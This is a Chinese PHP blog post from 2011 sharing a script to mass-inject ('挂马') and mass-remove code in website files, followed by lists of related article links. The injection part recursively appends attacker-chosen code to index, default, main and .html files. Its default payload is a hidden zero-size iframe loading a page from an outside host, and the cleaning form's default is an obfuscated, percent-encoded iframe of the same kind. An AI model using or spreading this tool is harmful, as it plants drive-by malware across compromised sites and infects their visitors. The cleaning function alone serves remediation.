php下批量挂马和批量清马代码


Posted in PHP onFebruary 27, 2011
<?php 
function gmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
gmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = @fopen (”$file”, “a”); 
@fwrite($handle, “$mm”); 
@fclose($handle); 
echo “已挂马文件:$file\n<br>”; } 
} 
} 
$d->close(); 
echo ” “; 
} 
function qmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
qmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = fopen (”$file”, “rb”); 
$oldcontent=fread($handle,filesize($file)); 
fclose($handle); 
$newcontent=str_replace($mm,””,$oldcontent); 
$fw = fopen (”$file”, “wb”); 
fwrite($fw,$newcontent,strlen($newcontent)); 
fclose($fw); 
echo “已清马文件:$file\n<br>”; 
} 
} 
} 
$d->close(); 
echo ” “; 
} 
if ($_GET['action']=='gm') { 
set_time_limit(0); 
gmfun($_POST["dir"]); 
} 
if ($_GET['action']=='qm') { 
set_time_limit(0); 
qmfun($_POST["dir"]); 
} 
?> 
<title>批量挂马(清马)程序php版</title><body> 
<form action=”<?$PHP_SELF?>?action=gm” method=”post”> 
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版 
BY n3tl04d</font></div> 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径) 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—?正则表达式匹配—— 
<td colspan=”2″ height=”1″></td> 
<td> </tr> 
<tr> 
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td> 
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> 
<input type=”submit” name=”Submit” value=”提交”> 
   
<input type=”reset” name=”Submit2″ value=”重置”> 
</div></td> 
<td> </tr> 
</table> 
</form> 
<form action=”<?$PHP_SELF?>?action=qm” method=”post”> 
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版 
BY 随风而去(LST)</font></div> 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径) 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—?正则表达式匹配—— 
<td colspan=”2″ height=”1″></td> 
<td> </tr> 
<tr> 
<td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td> 
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> 
<input type=”submit” name=”Submit” value=”提交”> 
   
<input type=”reset” name=”Submit2″ value=”重置”> 
</div></td> 
<td> </tr> 
</table> 
</form>
PHP 相关文章推荐
MySql 按时间段查询数据方法(实例说明)
Nov 02 PHP
PHP 日期时间函数的高级应用技巧
Oct 10 PHP
php echo()和print()、require()和include()函数区别说明
Mar 27 PHP
PHP 函数学习简单小结
Jul 08 PHP
php中强制下载文件的代码(解决了IE下中文文件名乱码问题)
May 09 PHP
浅析PKI加密解密 OpenSSL
Jul 01 PHP
教你如何用php实现LOL数据远程获取
Jun 10 PHP
Codeigniter注册登录代码示例
Jun 12 PHP
php对象在内存中的存在形式分析
Feb 03 PHP
使用PHP+AJAX让WordPress动态加载文章的教程
Dec 11 PHP
php获取excel文件数据
Apr 21 PHP
PHP实现数组转JSon和JSon转数组的方法示例
Jun 14 PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
You might like
提升PHP执行速度全攻略(上)
2006/10/09 PHP
PHP下打开phpMyAdmin出现403错误的问题解决方法
2013/05/23 PHP
浅析php设计模式之数据对象映射模式
2016/03/03 PHP
PHP实现的贪婪算法实例
2017/10/17 PHP
初学Javascript的一些总结
2008/11/03 Javascript
Jquery 1.42 checkbox 全选和反选代码
2010/03/27 Javascript
一个简单的js动画效果代码
2010/07/20 Javascript
小试JQuery的AutoComplete插件
2011/05/04 Javascript
TreeView 用法(有代码)(asp.net)
2011/07/15 Javascript
js控制href内容的连接内容的变化示例
2014/04/30 Javascript
javascript实现的图片切割多块效果实例
2015/05/07 Javascript
使用CoffeeScrip优美方式编写javascript代码
2015/10/28 Javascript
基于vue2.0实现的级联选择器
2017/06/09 Javascript
React Native模块之Permissions权限申请的实例相机
2017/09/28 Javascript
jQuery实现上下滚动公告栏详细代码
2018/11/21 jQuery
Django中login_required装饰器的深入介绍
2017/11/24 Python
python 定时修改数据库的示例代码
2018/04/08 Python
Python绘制的二项分布概率图示例
2018/08/22 Python
python中将\\uxxxx转换为Unicode字符串的方法
2018/09/06 Python
pandas 数据索引与选取的实现方法
2019/06/21 Python
使用python将多个excel文件合并到同一个文件的方法
2019/07/09 Python
Python如何省略括号方法详解
2020/03/21 Python
Pyinstaller 打包发布经验总结
2020/06/02 Python
Python脚本破解压缩文件口令实例教程(zipfile)
2020/06/14 Python
Python unittest基本使用方法代码实例
2020/06/29 Python
python中doctest库实例用法
2020/12/31 Python
打造经典复古风格的品牌:Alice + Olivia(爱丽丝+奥利维亚)
2016/09/07 全球购物
探矿工程师自荐信
2014/01/24 职场文书
物流创业计划书
2014/02/01 职场文书
爱国口号
2014/06/19 职场文书
行政文员实习自我鉴定范文
2014/09/14 职场文书
税务干部群众路线教育实践活动对照检查材料
2014/09/20 职场文书
关于分班的感言
2015/08/04 职场文书
2016七夕情人节感言
2015/12/09 职场文书
经销商会议开幕词
2016/03/04 职场文书
编写python程序的90条建议
2021/04/14 Python